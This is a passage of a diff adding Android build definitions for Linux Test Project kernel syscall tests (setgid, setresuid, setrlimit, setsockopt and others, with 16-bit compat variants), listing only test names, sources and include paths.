+        "testcases/kernel/syscalls/setfsuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setfsuid02_16",
+    stem: "setfsuid02_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setfsuid/setfsuid02.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setfsuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setfsuid03",
+    stem: "setfsuid03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setfsuid/setfsuid03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setfsuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setfsuid03_16",
+    stem: "setfsuid03_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setfsuid/setfsuid03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setfsuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setfsuid04",
+    stem: "setfsuid04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setfsuid/setfsuid04.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setfsuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setfsuid04_16",
+    stem: "setfsuid04_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setfsuid/setfsuid04.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setfsuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setgid01",
+    stem: "setgid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setgid/setgid01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setgid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setgid01_16",
+    stem: "setgid01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setgid/setgid01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setgid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setgid02",
+    stem: "setgid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setgid/setgid02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setgid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setgid02_16",
+    stem: "setgid02_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setgid/setgid02.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setgid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setgid03",
+    stem: "setgid03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setgid/setgid03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setgid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setgid03_16",
+    stem: "setgid03_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setgid/setgid03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setgid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setgroups01",
+    stem: "setgroups01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setgroups/setgroups01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setgroups",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setgroups01_16",
+    stem: "setgroups01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setgroups/setgroups01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setgroups",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setgroups02",
+    stem: "setgroups02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setgroups/setgroups02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setgroups",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setgroups02_16",
+    stem: "setgroups02_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setgroups/setgroups02.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setgroups",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setgroups03",
+    stem: "setgroups03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setgroups/setgroups03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setgroups",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setgroups03_16",
+    stem: "setgroups03_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setgroups/setgroups03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setgroups",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setgroups04",
+    stem: "setgroups04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setgroups/setgroups04.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setgroups",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setgroups04_16",
+    stem: "setgroups04_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setgroups/setgroups04.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setgroups",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sethostname01",
+    stem: "sethostname01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sethostname/sethostname01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sethostname02",
+    stem: "sethostname02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sethostname/sethostname02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sethostname03",
+    stem: "sethostname03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sethostname/sethostname03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setitimer01",
+    stem: "setitimer01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setitimer/setitimer01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setitimer02",
+    stem: "setitimer02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setitimer/setitimer02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setitimer03",
+    stem: "setitimer03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setitimer/setitimer03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setns01",
+    stem: "setns01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setns/setns01.c"],
+    cflags: ["-Wno-unused-function"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setpgid01",
+    stem: "setpgid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setpgid/setpgid01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setpgid02",
+    stem: "setpgid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setpgid/setpgid02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setpgid03",
+    stem: "setpgid03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setpgid/setpgid03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setpgid03_child",
+    stem: "setpgid03_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setpgid/setpgid03_child.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setpgrp01",
+    stem: "setpgrp01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setpgrp/setpgrp01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setpgrp02",
+    stem: "setpgrp02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setpgrp/setpgrp02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setpriority01",
+    stem: "setpriority01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setpriority/setpriority01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setpriority02",
+    stem: "setpriority02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setpriority/setpriority02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setregid01",
+    stem: "setregid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setregid/setregid01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/setregid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setregid01_16",
+    stem: "setregid01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setregid/setregid01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/setregid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setregid02",
+    stem: "setregid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setregid/setregid02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/setregid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setregid02_16",
+    stem: "setregid02_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setregid/setregid02.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/setregid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setregid03",
+    stem: "setregid03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setregid/setregid03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/setregid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setregid03_16",
+    stem: "setregid03_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setregid/setregid03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/setregid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setregid04",
+    stem: "setregid04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setregid/setregid04.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/setregid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setregid04_16",
+    stem: "setregid04_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setregid/setregid04.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/setregid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresgid01",
+    stem: "setresgid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresgid/setresgid01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setresgid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresgid01_16",
+    stem: "setresgid01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresgid/setresgid01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setresgid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresgid02",
+    stem: "setresgid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresgid/setresgid02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setresgid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresgid02_16",
+    stem: "setresgid02_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresgid/setresgid02.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setresgid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresgid03",
+    stem: "setresgid03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresgid/setresgid03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setresgid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresgid03_16",
+    stem: "setresgid03_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresgid/setresgid03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setresgid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresgid04",
+    stem: "setresgid04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresgid/setresgid04.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setresgid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresgid04_16",
+    stem: "setresgid04_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresgid/setresgid04.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setresgid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresuid01",
+    stem: "setresuid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresuid/setresuid01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setresuid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresuid01_16",
+    stem: "setresuid01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresuid/setresuid01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setresuid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresuid02",
+    stem: "setresuid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresuid/setresuid02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setresuid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresuid02_16",
+    stem: "setresuid02_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresuid/setresuid02.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setresuid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresuid03",
+    stem: "setresuid03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresuid/setresuid03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setresuid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresuid03_16",
+    stem: "setresuid03_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresuid/setresuid03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setresuid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresuid04",
+    stem: "setresuid04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresuid/setresuid04.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setresuid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresuid04_16",
+    stem: "setresuid04_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresuid/setresuid04.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setresuid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresuid05",
+    stem: "setresuid05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresuid/setresuid05.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setresuid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setresuid05_16",
+    stem: "setresuid05_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setresuid/setresuid05.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setresuid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setreuid01",
+    stem: "setreuid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setreuid/setreuid01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setreuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setreuid01_16",
+    stem: "setreuid01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setreuid/setreuid01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setreuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setreuid02",
+    stem: "setreuid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setreuid/setreuid02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setreuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setreuid02_16",
+    stem: "setreuid02_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setreuid/setreuid02.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setreuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setreuid03",
+    stem: "setreuid03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setreuid/setreuid03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setreuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setreuid03_16",
+    stem: "setreuid03_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setreuid/setreuid03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setreuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setreuid04",
+    stem: "setreuid04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setreuid/setreuid04.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setreuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setreuid04_16",
+    stem: "setreuid04_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setreuid/setreuid04.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setreuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setreuid05",
+    stem: "setreuid05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setreuid/setreuid05.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setreuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setreuid05_16",
+    stem: "setreuid05_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setreuid/setreuid05.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setreuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setreuid06",
+    stem: "setreuid06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setreuid/setreuid06.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setreuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setreuid06_16",
+    stem: "setreuid06_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setreuid/setreuid06.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setreuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setreuid07",
+    stem: "setreuid07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setreuid/setreuid07.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setreuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setreuid07_16",
+    stem: "setreuid07_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setreuid/setreuid07.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setreuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setrlimit01",
+    stem: "setrlimit01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setrlimit/setrlimit01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setrlimit02",
+    stem: "setrlimit02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setrlimit/setrlimit02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setrlimit03",
+    stem: "setrlimit03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setrlimit/setrlimit03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setrlimit04",
+    stem: "setrlimit04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setrlimit/setrlimit04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setrlimit05",
+    stem: "setrlimit05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setrlimit/setrlimit05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setsid01",
+    stem: "setsid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setsid/setsid01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setsockopt01",
+    stem: "setsockopt01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setsockopt/setsockopt01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setsockopt02",
